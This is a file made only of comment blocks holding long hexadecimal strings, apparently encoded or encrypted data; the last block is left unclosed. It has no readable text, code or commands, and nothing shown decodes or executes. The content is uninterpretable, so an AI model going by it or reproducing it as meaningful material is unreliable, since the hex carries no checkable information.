/*132d245a030236804c3e7472558b48d4d4c0d4ca99a7e89853f8e66e27cd35584b181d79b24a47c3e87deae18190d75cb8c68348da5ed2dee3fcae9ac9d3cf485d5607dbdbdfe8fe5d7989091f530a8af66f754baf223ae9adecf1b5cae58d030e52bfd7af7e49bb2247c6de02487d8a2c8ecd6572b6633b2ae5f03aa54417168c74d3c2e13de750f543e815169576836f215e797dd5c8e3882a0e59ca483cc244eb3182895de3fde0d86a94f767d06da6405ff2d93ece0f92482d49186510089c0dfea56541270f0a2a53bb3729d3f4700348c62fb6e51a5cc595c92fe763b9d57b66f4430c86664bba41ed02a2d0b3fe4ddbd54e04e6f26d9eb6776218d6ce2b12680adab221901a243bde2689b34e84ec08ab0eddb2f96e5e4e71f10f8fd5d21ec90d712057b5aafa542f3e5bff06e9e5d96c93c989efc41fcb70438c4ecfe66cac941e33bddbffa1484d770d36a766363ff1522d54d20078bba405c65bbb39ad2c1053c02b87d7ae10fc05374b7ae1140b83b8aae34a021960abe5764e90b5ad5b1b8277238fd36b91c824db692460549c80560309578d66d4f15005bdf2c986eccf951b27d385edcaaa99510e01e075b8fec5d87eedeecf07b5c488267dd54832c2bbf9fb1e42e0f39fdfd3074e562eea65899ea883332ba02c095cc416d34299782eb4c8fc60c4ee5f349731ce1a5710b787d4e1e67f78c3259e9f52849198e72d338f3c8b680b3326bab0f6c589f04e9caf55692179ee91d949f231df2a656b365ea9a87da63c2efe74fb26e73a17d93fe71721c9ac860e89248b070059a8ae5272635751171aae114edb6b5350174981377d7cc370e3b99c6a8c360d2d7e287ed1631902070b847e9fac6a305ad3fa71ab7f59260bae1311029f6a89cef9c9b893d6ab9b7b71aaf2536ab483a22965a240fd6841bc1206b274e44a0243533ceb3328ebc27be8589eaa8e8531fd5ed5931b1f86488c726e527060cfbe5aea7a0237fc8b7cc9abe49cde9e574f927b1e0ace03cd13ac055c82defdad88f9eb0c2e7543d6b9c5b9636eb2ddf82000ec09fc46edd178777a3b36d2e9c2dca771bad5de1fecebf5f0853127df650cbbde88ad25a2df03aa1c3efc167c7da8ebc88bb064dbee7ea8d7febd3deeda054d7e76313149728825b6e6cdb3976fdf27169b26c1d6b113e3ae55a20f0ebd67c1c0424ec5fcb4f98c835bc64ae8ef6a3fbe09991b004b8ca63906ff4132795e40bda27427540cc3580e6a7e4fa75ad829b9c4d4b2e758c95724e641e2d6ba221ef20ccb037835bedc112a4a5ac91c947d78614ece45ec7849c49c520a2cb56ac934d500a60903a2e2b24aa4339ba98fb02ee5caf86d62c69a7d9a4780605c3484e069e2d475defa4b82994f2c8648048523a0d662762cdd6deff96fba0ac79a5fe482004185a9c79d28db130165e7c949c264df7619fcfe04be16180a66f5569e3000e6cd1b1ecb21da173403c7f25fcf4d0ee87df08495bd1bb995d4176a2ea47c4a3e2cf0a807b1cb26c779822671ada78454f68cec8e55c3ad787d64181b013e68495082ae8dc7a8e65205d96961438c624dc83615ed3f376c44f203b57e93cf5d1fddc5c26d88f64418ebfc9b9bb1e1dd6cf67f7608e04699aa89d26f1fabf4dff42a0f6eb66825153bb655e1738f6b13138b640ed685fb318e3b50dcf63c13f40f34afe339d257abcb121d0a039737feb3a93ed4451cb496d78c698f498e3f2646b2a31047941e09e767a483e1f49557b4a1c0ec7f0880ca0f434c56bd0b431f33feff095c729ad8a317efcee7c72e8a7d0694d21fb6fdf1198c24e8fb6308778a7e25b1a9753ac1d55fd695e1684df8a7e19ddbf4b78257f7eb50faa6aa24ad5c46aba2d14d141e062ec9ad00480a8431a5cc977af0d95a32b1a243ccf2d4d8b7cc2be1dddaaf16f6decee384296f4a8fdc73a9a684a5712157aa1a7e868e1fb7ab5af38aa1093564b475c0a4379fb9687c89340f2bf72aa57a02437cac83a7bede44f86a19029b4503ab5f3a1a0c10b637fe13f8f61013fbcdd98f703a5d4ab4529a11902b69383ca1c77f034e5adcc2bb44310d3207d93418d5ee23f86d135b8273ee7c5a9d91b32b6bdbd01f0f191c33c52358c60c7c110f71b8a766e99dbef4d42085af8d4374ace52e256fcb5c59566f13a4c27ebc498a39efc5ced1d2b178fd97c10949328885f1593d5843cb195165e6a655e203931a4cdd59fc944294b0887c68019a5a911f2ea22b3f5cdd7ae9429b201c19ea17f9e281716594921807d8e01300fdbab2c93ca47f1af77ccbac074206ecbb97abd3ceda2d137a6367a72d52371f76482c05d01a9b251b3346453f638bb6fbde425c86fc46f38305d83cd4e503018f483d897f923f9a9ccfe04b6e15f37725d8428337094e9c44090a7628391bb98e5317e8f04974b893bb50cc962047cec376bb6f03259bb07d5180c92295cddc54c435464fde15d15e108536bf3864a014ad55f6436951ebbd027efbd64dfdddd0a2434de15769d4be965f4de44a4884ef2739c06aefac105b0ceb4aff8dfae8da960e6e27937dc464bf33693e7f292fab9c8193726b2d2cbfa665cf367c66afdd8d75eea95de40e19f0a19a7a7f50831035f87af4bb6f47f97b61cc2585f7c6c348a7bab1a2460224e51b12f1553b6c6212e6964e32914f06c0a6cef48f02b70b918fd1184d6ef55a38c5df08ce3a09d35edaf20edadab6c15afe0b521d0de8cf96a1f521e91441cc103891c14891fdcb28d32c87974f5b12ba672cd16d3d67ee0bcdbfd924e3676d969cbe23f342a24c86de5322d8f2*/
/*ff571119f916fad584b78a14955230f5f848545dee276d21f9f28cd6dda110582416d56402b7fb4bab16dc2ecad68aff510111cc7c8b139003d313d1a0fdaf115614a14a3d8a5bc28b685d834e0d3c0d0e20832ee984f4158c4abe7ea4dd32e722a6f3085a5ca4a2d3bc445fdb7b7c94def9f346d6be5abe79dcf542da4e2fc3a483ec7f22999535115729f13ae9375cee5c087926fbbe39e4a5a455f18d0c7437ebfa690ddaa6db3979e0da7290db5eb11afa9842366b019ce0073be7c659870116c455f83cd799c3b808c0cc9889a346443962003dea536b8a364043a383971ce9233acf93d88be38aabb750fb5471f7f0152bff6f8ee964a984cfc81ac77937a9c064a5f507019284202a73e4c9c15bf4d3180506475fd42ddea3d0a874cf5d936a29ef4aa1b0708365c62fcab27897260d3610913640f9711c7c84c20f29e94defdadb76711fb3c8e57964585896ac649692bbfd4397748fe200319ababff37fd250c22cc33bc3a33cd1050e99d4cf044033da4f9add3be85b498c7d1d5802ee193b27978488629a3736d503ac2409271c3290a61227c23a761ca643c2034d14039385d6ceaa5c60a60cb3da3f43400170b1eba85b65a3f69a64f64ea2a7c1e74773137cd302e4656166e3f16f5db2f1cebec548a703f2c14713ffe982534866300d07aa86b56ab9324f760e59ccf060af47bc0ca56db9a74043c5489b905827cfb885a80eb0cf9f23abea9f92fa8dc4b265910434a7cfaf50e97c6a9614ee0d206ed2ee06415549ba486120f39abf0f727f2af0219e1b5fd2a87702b7e279d32bc8e388fde369b8c8c8c736dc46cae6011b6173ec1122c9763eff955cee50e797cc92c1f8bacd8217627f3fcd07d1c191508d2c9c465bc78445f0de6aef76a8f30ba5ca15a61eae6a042cd82b85035b8c115c017d03c41fd80895b41574b5cb91a7ad9505e2caa382fe1f990a5b14bbc1c635372a1daa3c623a2282446bc2f5f49f65d9c10d909ddc4b8f0612fea3d6b36c1321fa16f966aa59273a201cac5f9d70d75d2d69b56b489f4244a6a44d6c01b85220548f8004cf437aa024ffe05a8d8579107b7309880d6e0dd21fc03765bda64487dc8810b55d0e804de3acd29c0d0ba630e67b9565c12ad7ec96fa88fc6926bf93969966c9b7ee54a6474af869ce1a49014fd48425ade2da3fc803bf18e4783054d8f0f69a84ef6e636cb7b1aa2e187690348ca513b8de0ea2242babdf908cf66dcd8b9f05c7aca40c84b104ec75fd565666220b215845ddfa6e3e43565ffae8fd8405d8d390bb789fa135bafd8776cdba3ba04bd9a5f23430af663a9b5fc815968a681a66c5e8074db1b62c845dfd9b91b2b6f63c89123503510c328c22f3edb7cc217ad50179b462d3ba0cb2d921cd780f44f640afc3711af72d13ad5032142eebf4e5170970a4edda45c417cf014fd12f77824f89f536eba884d41034d43d11dc37b69c96b968a6152770a30fede30c1f8cc8d52ccf3f296c0f0d2dafdea6d96b96a4b4536144a88c13f78be33c22d52785592a2888646f7682473566fefaff8b453ac28b02392dbd1fa775bc6b211bdad55350d93917352ebf74754992702f751441bf20c7a16d5b7f7d41fb5364f9ba949bbea475dc5b6e7b5ec48acd84d67e18657cdfe847912f65f1e0bb0a410d325d7fd13fb5c4f923e746acbdf50a5c5339190bb3df3405ed64de5a6aecef2f47170e0217f86f9e04707671147c8cb8cd850fa3a20515ab5f907952a2e907f5fd6d28fbd2f0ba0b8da7b904a2a2640c4321b7fbf560c56fd10d1bd90d1339845daa98974310ba7ff86071f69aec495ebf07f59931fb586f0cf91106e2a6530ee4488e2e123036503efd25f38713e317490b8d2963ea66ef3d4a053d32da00978cce85a994f5ac481ad90469231fb1780205b7aac96c5bf82de84c513adf86c303e666dd6b4af33586d698a9c56cded6e8b1dc0adbd63f0e8247d20e0bef4f577ebf04e9e9b22a61805ab124dfb96bca327dae9d177a07071abe88b41b3a360de0afe842ea2efb464d35cf7c61291256295612dd9773a30c7cacd1a842caaa9cf3202794c370fc5df79c9693cef4a5750670181fbe82e86f4ca83769f87c50ce6a0fb2176ddb1bd2b9b8c7d03f485ff22b2a217cac0adac23c6b3ca4d1a108c83b4442a93071031c95257f39216192a33c8d5f7908e4ac3d8d82923808732b569cba7a3dc2faece1e292253e75ef621eef182371adce9c3c9e82b3670a1697817a030e17430e9d5de867ea5081f0d623b819f9574984946023bcb7bedddd7f407dcb9f338918bc70dc5b1ed56b6e23aa3697eda0a666a01b7d9d7e9793f418d36e0ff5e806324445bdb55547ab4ee46c5c878d92fc54606871e326f3e3808dcbd5bf691adc86808ce21f5c5641cdd25f4f325332623839cfb4c495ebd41de4b104b81412f173f6816d6734fb6bbddc7a84bdaa1cfd414b6def8ec034cfc3e3fde6123c35b50d098ed997972da9e52c28d916084e29bad8fe5867ce72957af11259b27219cd4afda7808cb66a8df74291556a6469f709a6b398c3d97cd53d555f79c324e480ab837956766b737f558914a7adc5b40dc1547e983ddd97895943ca474f173f668fb90781f81d4dbb628980af6e09918816e66aa4125e0ed1026ffd0fe5f4f4edaab549e3a7c28d28be93a31a9b1ff23089363a6d7ea2b70bbbe2a326c144c8e288a091dfc22817917d0bcee5cf1337c74d6c325451bd3b2e35821d09e13e3409abdf4c71ce031aa27819f91a20c56b6df4497b64e9c218d93254130277457b0dbdf21c5a24*/
/*c3059d647a303f8d3e6661b5c8bf2b09fbcc2c6953d373d39fd6b8830ff1d5b82cec4376e7faeb7220681b869b7fcf3f29a440e5f92670fdac4e88b55050b25f3357083ca79a090b903def6fb1c07ff0eb0a62feb1fc4cb01885dd3ea9136256ff9e933b7016514cd709e817099f2138b0c7b1910a5f7ce230b711dd4188d25c09114137152ea97244a9c5ff560e143de0cc58bdb5332473029af68f6e50a824780248f0e1ea5b800563957580bf5e768defc19e5081e701168089536ffc229f4f142862d1326d89566bc02d6dacb224bc586b2d296e75ce0459fd53269c368dbaead08917c48459364ebaea55ebe82f10d4c815faa1cd9f031a838239b4b06c7f21f9d05c57f3c793aecf7ad73eda73d3249ec11ec07ace431cedd285b6d43fefc0943f65a3d4d4e04a65f35fff046c470f9807bf330fd8f7c94353b30bc30cd55302ee81bad04d9af56734722e43be42a0941163b2407b712209b718eb82565b6909354745604a074fb861d38c15adaa4e4798ce964a106701c28a24e54abc6794d3e75da897f67b46ac849c46ff9cd42c674dab5fdda147ede94ff6f57b6e7094b1c28ae95de95d79fdff8e169522188aaf323dad4ca09a0ada56940a4dd107b4b9d824a58a9b263190cf6e328687c740769e80c8dbb30e0920212e30f0f1c36ffdd065388df5ec11046bafdd8d08229ebc53c3d5b771ca538867237a183b88aaf7757001bf0c5e5df1bf9e6e4e39a5617c06000656c71abb52635fa1e22d29c95703170e53933e7b9bca5c5fc76f33ab8f6128506800904766d0eb3fb600dd0306922cad2ecb11735ee83d614885faabf93a0996fa43b28dd57492cb905514b6f1804b30d01346b194fff6ebe5cbbfb96174c9891e77aaed3f660e64df96efbdb49b02cfdd5a7d0666a5849c4a2675cd35216842e6a3f8bde23a87538ca3a6e0fc41f28b13086e050d5cc329a0c28235e9e6a5a2d84a230619bab3f8f5fd8faf0f6e6f72b19019b2d1246e9ab3694d9c1fc15fac738a01280e52b094c2a0ead4a473450b363a44755c24b551f32bd3966d3e182af656046c5cf21bfe8bc837f82ef4059ce93ababf34bcef01de2211d71c87c2f4a8df2a35cb239499f12172a0a46d7a648c21e78a23faad46d4633f0cbec4305688795eadbaec5b2bb70d792f8d173476536efe1be8d13ba02589ebe49c176ad00ce1204e357a82d0dca23147e0a5f9ae11d2fb94c51282a7ddbeb858514ebfdfa803b845566720a06f48152ee287f8c485aefa293effc34a3182462130b75b734c38aa492927bd062031c8bdf020d4c45b8b57094330a744f1cb2c84ff833e18713471e1ee0e731b03a15839fd4145c41afdeec861a961bd622ff42a501b7bc6365ac4b176ad5525a61c4a86bd6dad7ba1b48141abba52f7af3060803278211c6c0f050f85d296c6cd2c1264e6999190134f7ab91e71e653e66a5ac435ed1400c86644f60d8ab627ad653e67e687db077df6c4c1ab7bab879479867e53df699a836051d0ec0da5e0e572b156617a777750617c7273011217c7625f3fb4f8fa6e089eef71db5f3a5736e8217adfdc4fc711a142c51ad2f6d18c24457c1ce369eb2f321e9e1053356018486fb023c7267e2ddcb93b54e46721005a41bb49624b43ad03c15659370da207fd1fffd15b88864ff14de23eb4cca9be9778aa532141b89464882b44fa4de54b049c9faf8ffc71fb8b4148de7ce179f28a74eb090469d8a4cb2b6709f3b2906751c2ea3aa769e6f0472f24bcc4e45b2ab35ead3a7afbb571c0fcd8eba43e8617a100f38a1787626c1555e787e8fb60e1b0dc4ff8e2105c1621881a7cb71579e1f9fccb928f9121fcc72f05d64c9449d85b793b7514146cbc69d9b875041c03ee773e6c434679d28e2284378e1a5bb28bd5e7e6c98157b0497beccd2ca891f0a8bb0bf24126b777258615a511808848e2ae85cc028bd318837a779221bffdd6a09522522df7d8652ce3811cab0226706cceebed85f37d62201c23ae3f3037fcaed69b38e5e4de398e5b3353b724deccad4445860fe0d587621c4ef6f72a0cbe242cf0005d5986d533976613e150f9132b70130ad4366ee5844b2889a150395fcecf6acd9eb10010b88b63c7ee8b52934acb065493fb8d73e5d1f32d46d45603f64b7e2bc2c13a631390ec4d5f1d8eae8196bff227f008374e2f75ba6415d1c93e60b64c8b4445e9f88bdc314b8afe90e8f45d09b75e385adbf916ebda0f4dd261b733b6a8d4c9ac93c96be11ae722149d257babe67dfc39982028eecdc65c73ff44949692adbfb4a33c55102df8bd02f0fcf84684140f0b4380af6f2d2aa02ddacd841439802e953c49d5a80170ff54ada5dcfd6c0adf85462fddf9828c8c72e722d36fd9dcd5e986ce6d9ce7b75baaa67b8523eb203e53912b80ed13984bd847ff527a69b6e4931f17794c19833d243006a0ccc0c721f5edaca5ba4f94e5d2710466d3281fb00cd44aaf70828723baa3691d8f1f5431833751c3e4e4f78b4baa2629bc5291d9c9add0b97172d5a8c4e1b22faa1c507551e53db052ed773981bb977a2708d47e1a2aae9acbeeb8e12bfa5a34ee42af61ab30d8ab740e3f4c778f2cbe254dfd5a6d5f0600e1e88ec265bea88c352c4901bd6470f80b2bc54de719e0decad1a12dbdd6001cab25eca7c8fd154a6d0c8e9b10b45e4a7b530de2e0c5c4163151ce93ed799a0474051c3bb46ede1c2ccc400b195333ba642b41005a0e45049df069fc7c0960f4c7a251cea1186dce2a8c704ee5dd70bbe16a0084462f1a7eb52ec775a4ee2816ea04e91d2150e0*/
/*d8084b10e6531cb0ebecc67f3036974961d799fd417eef180145f5d9b553d2a3e770030eeb0287e70dea7af0a5bec4e2abb750b02ca0a02caae41323e5d6f5572ea96fafc2a9b7a13e181ceebe7a1d1dcc6d52e2f407a2a3f155b74508d1640ed0aae33ee237f61a3ab237643d8526a0b4ca4119f5bba640e4f8a972a6c84037fb7a98b896e327eec3736a8016d619e34cf4ec7ff26ced524fda9ee7ce8c292ea5468fa550aed4c2bfb8d8b6518d117308f35045ac0609f9af63acc3155166c88a6270516addf013fa2bdbf5e0c20dad7f9a063df909e6fcf41f3d894b0d713af9e7a2bea74a3a923691b0b911dd242affc83b7cbaf6c36008ff372fca29319307fd4eced02d37abb416347dbbc15a11bb08ff0ffb7623dfadd3e45df92ce47c9a13c21aac794e393e2cec3a8784b40360eecf9cd810a682f17813f6fea98ac14f295468210a9c9ae22083ceaa15080f13c6bb2c5aa3e233dc813400ed105a6a5f7f147c876e5f9bfc769a5f3ef43d7ba2a5626d650eb90ecb32a0210606ec55fc2f605d664fd1652eb9db3ea97ba81b504a4d3722b44837d4ac379dd96b66611014c3458eee5e683e265a448be0a37707eed72caefdcd907b90352010a1d746106a486b7a50e8f3ed7aaa0e28e9a96ed6718b71f1cb825af104deadf7bde21f699aaf0ac5d275447b86eeed4387dc89357e90f29d9b22289375536368996027cfba4c32c8d46fdef0c4a92c0cf47a0add6a518434042e60f2abb5e73e945636a681efbb57bcb776e064c5e49857b92c23bed0f58df6457a5e564495ea4dbd36a226352c8a5a2b8965e2da99cd2066bcf8073399223111a1ded4dc33f193ee51523c8642abb7d43103be1468607a5f4c0f1c471a4a7d9cc20a2496b18009f1f3d1d268bc4dcbeaac3fe37fbf17ca86b9995b941f28d16b72b534edb8b71a6e2516e7f1a0b8e2943ae68d51734be9e1c909714752e85eff8dc776f773e4d89be8cb111c3543daf7c238fbbbc704fa40f9eecb724e23f7567a77f0837230830f151428d3068a16c29f58be2b11e50a46044306847ca30d672e1ef16bc21020b6019903886331a35f89d755dd6677ceab66dd9ca91317498974f08d8c273c4de0e59f7851508bac40ba84383f49009c9ead3de2c7ea457155edf880929117bfff069620012e6d48e41f8f925107e8fa0076d84cf0cf29dcadba5ce946ac83c3b84f27c3f4884ae4630f0e18d70fef632413977f9fc7786e3149a2412e935e113ae8a819217fc77efd04556e335888d2207fa2ed32b10fc0b9bc2ae8397bcc5903a6072beb5d117efaf811096786a436144b7dcebd8397b0e2c8bf1930ef736da63ee7c15bead72d57f3eedef671ec78d2cb52a4312c00f933aa9f493ce1a1e0a12574326f0e1e461e7638df5d2db044533ae3ace85063796ef7e976a7bc35ca36ea64be1f94e6eb05ef1f3cf5f04c32274fce99eef41d73f920b092c1bbb819c31d528c97ecb6cfb8462dc9544dfdc90d61f92d1fd123a314454c5eca75bed896b67ae6789464c04641f6d80a84e88491da71f5f7b334f1f575062afd3c11a6bea835d2a481512ec42c1254be747161dbfd760d54b301bca7022f5c2bc5f1cda71f7dfd7782c9f0f1bc45b1063aef9c0ea0c8f5ca0c659a2d4e311145bd31dcd22d7a60e3016fa0c05b292d4b45095f47b24c774fd60b5d500834f98d869c025e54d668469245f6d168dbc8519e7d6d584f51de324199879c3ce196d8b2673d5946fd7f03c5044e53357c021820767a5fd8baf1f8b08c6f2eec067a1a486611e203a01a7261bca2cc25e935d50c554a9db4ff9da1c59fe46b35c3cf04f48d3b975f217262f0c9156f6734b360ffcc1e6edf72c5aa41b3be3b75ee779258843ad1768816805ad08e19ecf7b68e4ca621eb91762e9c17c98de3c469cb620b44b9335ea9f8f2a09193c711e3035eb96a0ee7aecab83a272c9313be5139d5ec90f9bb9b06becbb41f0c5b8a3bb891ec52098955729ff12420d220c68ed13dfb96adc25e1ec65fe00ba0549f944d0d8c86c9cddd01b3ab507f537328aa2ae88251e3f86b12bea1716e8e72e39f207c8b5ebcabeedece834b4c55449d5305502c623e62fa71d785369e3f71672db43c0a9417d379f6f16a58189e75c6b93cb57badd54ad287bb4e0f025f1cd3a84239b3c8ddd70a56c61995570d1186d968cc9657de2fc01d383cdf4d5f051c280c355c507a3347473178aef6be73569d64f0123440e57656f2c3238c5e5500f3dc00334e2a7076625e06bf68835408da189e805b24a9be724bd69923105ac22a1deefccf8862fc2f9a8e59b5accd5964ee3819f12facbfb4f5eb20fe0bb21f62301fb7cb4b242e63308759fdb213e9f2bdaa118466529011f49b9e6eff8c16c298dd857cd5b3ff7cd5d0870441520743dbca86fffee1e2c18d4bff3a4f23742b7885ed3c88c3d36f747f12c6e45b7e0b3d99c1992762baeb314d47a802ba9ccbe31e16a8d71855837771b13c1b7c10c3e6b08d695cb1547b75af46e79a002a49e01b5d9b537751be030dea73f7b16b5d2b02323df4bb80c92eaad6ae5184f7cb8a786049445c652e30d3ed6632bfaee43240a0225ec21faf0ed3634b81b0549bbd1c7aacc301c94a7fb754fde23e72a35abf271e69737883ba9f4d9d152f4cd16c7fa740619982fd3e2ad4c8ab1eebcf66781837e750048ce51b0bf4df37633829d7df399e8b2ba6fd0e0e081785ea008ee805e66f732e8fc60a8787abe559eb869b10b748e5adc760c0ddb8dffeada97963cbab615c5ae7044964e66857a89a1c056244251039*/
/*aee9c872360451033ffa76d773b35547b0666c69a41a23e3523a8c04e42dcd7ca8d959d6d780381a56609e51bcca3d6af5a1d9822766ada848d6657254b13b618959340c40be0b87f2091305229facda6a67f93f29b6c52318c8e66e61ebdb7cdc83edd02bd88ee43341dc6f431617c095d1a6557756ddef262d424f0c65fcec3df57a0db3ea4b3d1f1e583464525603b7ce09016b3310b7d291d184de3e192dc1549706769e278f473a4df5972c39eee8b633e56198f6baf2efb3f7e9c5ad7a261b9eea61bbe83c69c13d5a562f808ac920b98e9a2cce58b7e6df789b8844cf513920c31ea8447857a2670e6717004951170d6e042afae6f8afd6fd1e8923cc2a4bf0ad188f839ff6e9b987e085918198ef7fd7f1a242f5732bc870479b1840fb45b4053e555674d234dea77e833905bc979f6be6159705d57c491cdfb064fdf13977f1bbb5a55f5edac0910389adfde583be4711200e1c56cfc2eb3551113ed99d24c81f5004a4d88bb2be14f5f7adfec5ef4904a5621b4bbcb3a4e0043086ef8d1b2ef223c7e564334d8a6ae614227d13ae2cead3f65c0c372cac8f18e7d92ba7a0961d28661426c1769b50c93623e92a9eacd309289add1178af84d2531dd0291382dfabc110baab6e9ef6765d50a7f552c2826e1d5203953ff4d3f6631f97cd9a1351a0cbcb0763f87b66f106057da1a7d6837c6f4f2bafc84d283c8c3268913b1367fe5c871dc05c86e9eca1e732a7f68d4228d4073ac1275d90f3a3210978943d5aad189d454d967ddb35eb3801bd6a180d88c3004c30eedbb525423a4d86cdbb97f188b1f263b62cc3d130c41e5412844a2c886632d68a0e29706462635d090848810cbf61c3e1383cde70c3ae4e1a055cd5be390382c1e2656721020e2aa38832349918c4b283fbc8f6c097770f211648b16ab98628b9b52a8bef655ac85cf0f3b0b1acaefa3919232cd33f5a45d9cfb33b8e3a747c8237ac7a5f976af2ca9ef50832426bab4cb7f645309365af19cd2b7c1a1f812553df0bf6fe461e758e6633726679ee8552f743a6e0dca5b52c69495e229f90795000de671b3448733603f1d3cf2679d4d375dc9ca69a76cc3a0550c427dfeae349951cdb147747ea62c43a971acd27f4275b4e28b1506875f74bd6c2727fa311a6767fa9d8578fa1f702317152c0d78431b49b3e50d340cbaf84e28cc0dabb60b12809a7374234c6cd500e935a2e4836b92bdbb931a21cd2a28978308ff928e568b2fc5f1b0419b7e13fdb79500f7297319decd06412e6d2cef36516b53d37307df62de2d3ba5dbba2c010d60605f15ca12e42eba49ac6c924e6e065a902287d69f1cb65e5f217dd5b762f7a6c8f8b3d920f13d51fcfb002978b09f2a513cec764c18f1eea1a5213f7340daaa29798c570643ff43e5704e67bc04a5d1ce75b8279f06e1346ff540aac936b7980f0be843492512abe948c6b3d77938c4a1968b79ec14dbd76070292ab942dfaf6de578161b19999d737326b58f05e57c4cc5dfc384c361fab620ed307d591ab0d01959c467d9413fc991b4ea32640cabcdbb518dd54548b99d77f19d4c6dc88857ef9e1438cd85085d38998fa062b55b6e0103fd5311959ba8ed28bd0c9f1d89511366553c121ed6bd35c7231d4b96079b909882bf79e1fe527d5a966d244d380ff461c95bbec8caa7909deabaca7740162d789dab4ecb94e59a9fb3bae91a5d3a91a4ea7f3dd93bf0990b6289e5a762c5be2b719f9bffa4b6840bb86a672b5c43effd87d6ade250d5b0d8c7f5be0a7f1ad106efc5a78ce4cd5765729e4bc742041235694ebc9f0929f233baa2c548ae7285e830cecb98c0f9c9898757fb1d4cdfcf8367e32bc45c29ff797569822617d23547ea7ea8187e745346245975a271cff884fc5f02a8ec8399fc49e778c2f1fb2292fefbef94837ae8cb0b7b7a7f989e58a67a077e99803d32b82119718be59fc92e9ddbf8716eb2fce713ba08577462c30ea2ccc6d0c192e55aa0ed4efb745e18d6cadacf508b01048711546004f9247d677a2b67ab9b49ca1dccba90e42c28f1f11b7e47c707460b43673442a784c6ecaa7d725d81a193f08035f334136f09ef23a0ba91f3cb44540c9c013b142bbae130f83bd7a4818e069a3b63b2ddcb853b01d92bca662b073428c6ad2a366c297c90464c892799140888061ea95bc6b45153b82f6c180cd183da8f45da0744f3cc19cb644c0ed92adb0fef4e48383d4b6a29cb9dcbd41613657ced9561ca2e4e5a0f5aade1e1866a8c95586813eaa17e27f62ae8bc8f2be5d03390dd9ab24763169a32b8693eeb39c4502e4a51b2fd227b117ad591d189cd66e96b99bdd33eaa69e4ef9bf4150e510b1603ddc7488cf093e5966c5dd491831265dfa9c6229ebc214c777dba2eb15a275ec5de65d1630e9bf64a5f4b6d44dfb9d2fd11992cc81925e2678e642ba222258bf87adb132117511beced52bdcdfa2ccedd49e675b0a85c09a9ab5e052550fb73614bae6496252b81c9482d3b4c695a5b7910eeafc64b7defb4a0c8f222e8d98b19e08255143069eb0cfad70f8594e8e033bf8c9a37288f8806436f9d46a2176ad5eb66a5f44d5c0067dd5a7a31476cc89296e890f715ef54d59a0c54093a8262be0330225bb96fc7bc68746a639dbee6c8d708a1764e25645f4807e3b570d6a87719fe6ecacb1305b1c2aeef1f04e0a1a41e74055aeb8ecee6394005091e07e77717bc7a56fb24349bb86c4c3ababd269c0db46a04d72ed149b6c588f915ecf92e2d328fac54c280c29bfcb532318bd2e38e88a38f47c53e25494b4a7bd4e*/
/*5e22ab7da7cedb494dea316f9fe3b77121d2a9e4240ad50c6632c6a850dace71146d420ff20a4f4055c04b86acb975f8d37c1b6cf18a344b52e480010bb25ad16588bc5bc171f62df982be96fe1d85df24028c1acd1fe5616e6d1b941b861458ac80a8dd81d3ac9b618482b9c7710a378bd9e52868886d763adf9135846a072f6a838738070e4bbc14511524e95bbdfa0fa662345b5262526579de0cd29cba1a18d51c86ab0cc4b839b2e554a1c5a4155cd2617d7fe6d449d31cba69d356c8352b6e2c3b26fff5b00775d79a30dc0b75cf14d46cf122c83bdf577102f7f9587432b6a96dfe63b548f1d8be001c92804b3e7130981935c9498283341200d73e57884c56a666f7771ea14e58f950b3516a4f4fbaf4bc8f76f8deb155d1692d75352a50942dc91a0497b9d4305a661415220adfb991e6bf31c537fe4b27e600259a585c165694a138be3b37e8dbdd43d62256f6bd5b275d464298373b537e8a2839738960ab6070534dc5a6991f50a4df9a17da51c619509dd7cfffc68422accfd09178c3f26c0e26fc6b1c7d627c7bde043f76c21b33e6d8349fb70f1a74d99dea1c7de332496bfbd21c8b04631c60dbde559f27f8ffcd1fa3979ae14297d09281698823d6640d0e407f120e833422ddebd00788d1fa30f99f74c8e56573e66c5e27558decf9a76514e817bcdcaad5c45744bc61dfa0c20cb6e26a12f430e405e8a9878897c220cb449fee3127e2649288796d0f344768793b2ebda0bf29059a51769bcedbdbfd1b7a6913ab4da24df5b647d84108c23428a9e512c4b11b09c2c9af296c4e51398be48167d538e8de0015622e74ab140fbd1197a39713ed9aefb373a9a98238dee8dd6e2b62bac8f5a19f768e0ba2bb0a4e6a98b11dd44c6f44b962466abb661387440b1ae0d3f3fddf6cb216f7057b56fcb903829103b49abb562e9333b622cad533494154acbb01d1bb160f2355d010955d5831e709eb92f42e911d3bbf17c0c0825d0e84bf498d7c72288c697c1a516ff3c06c31affddef72d0994eeabcf6404ba170772cc79a219b9c3a9cfd5c8c51caecaf7618cdf99bbdb1f6ca5f0b7dbd748210458917bb29c0ccb7f3511d8c6f013cd74ae22f030132db9651079dce8f79d07b071e0f5db71782741c188387a9a2119e3913334c2fb33f8f23cb4e72ddc6a7332b7219a2514a0ce162275a621ca26456124229078c824b2aabedbb9c1dbeb8bb56bc1fee48d1122c94d5342ed7046d4e0e6acfaac6e5f89152b8a9fe7e9c36479d751f8118d75625a3df2cd1a9210fe9cef64420f88f7b08d115bfff9f0877716aa724a2f8d07aae952ab63b5a58a8bc056eeee627e03d0bdab8be00e164da4716c14dd4a279b315f123e5ea767e31bf35f4bcaeda50214a5ee7ec0c20afd4719c711934479ae81f631ada5afe8215d1152c8a012cb4a29818c8d3588f1a2ef480ffa853245fb0022f9b90fb911d54e003118dbfbcbfd7cac552e7aa1f43ca9bb80979d9153b088e5f0629b154cf76a94efbec71246ca09257285d13c8979f1de24c07d76cc04058520eef203b01ac00980160831351c79e1dbb629c6a3b6f6d5ab1b229ed9bffd4080a0c13bfdf80352f8eec37596b23859a2f6f9dc1a12de4213c9e63c4eaf388051c2946b5dc05be696112fa1ea8956fd5784a5648e2c5e7fe799013302d7772271426529e4f3ba3decaa691b60f9abf21ef2a13d26b633f17c8c9a90873efd5e2d0b2140f42ad81c9edf6c66609492e7fdff3d48085e3461a3ab1088b17374ad400b044fe6292c2f5b69a5158e59819316f27620619a0f2619e6e858a0ff4b416f601ef1b5ef6c1553ace33b709492daf836470cbdc01ae978812d76b878f044b6768fceefeb1c134ca205c3f84be2d60e22133e1f29b331492436014e618b1381d9e71171afd32f093849b61209813a406d55335cb9c59e0cce9f88ab8d9bc95c60f8be8bff7b6fc5c2093486e660c54ea3b568751de43a8e65fdb6b3b608f57df63b78dd3a372244b92d860c1849a06cdba225ff33c18173ad7200745572fa9d4c7e941e664b596bc5fc322e39c896168846406d42f11bc3639f00ac699a9ed7eee62264ec38c0db6ced09204545dc34363dc22dd267d3de6e0ecbc46982f006c23ced1b08b0aeb707f42ef3872cad1dea1202c8da09e3e30444a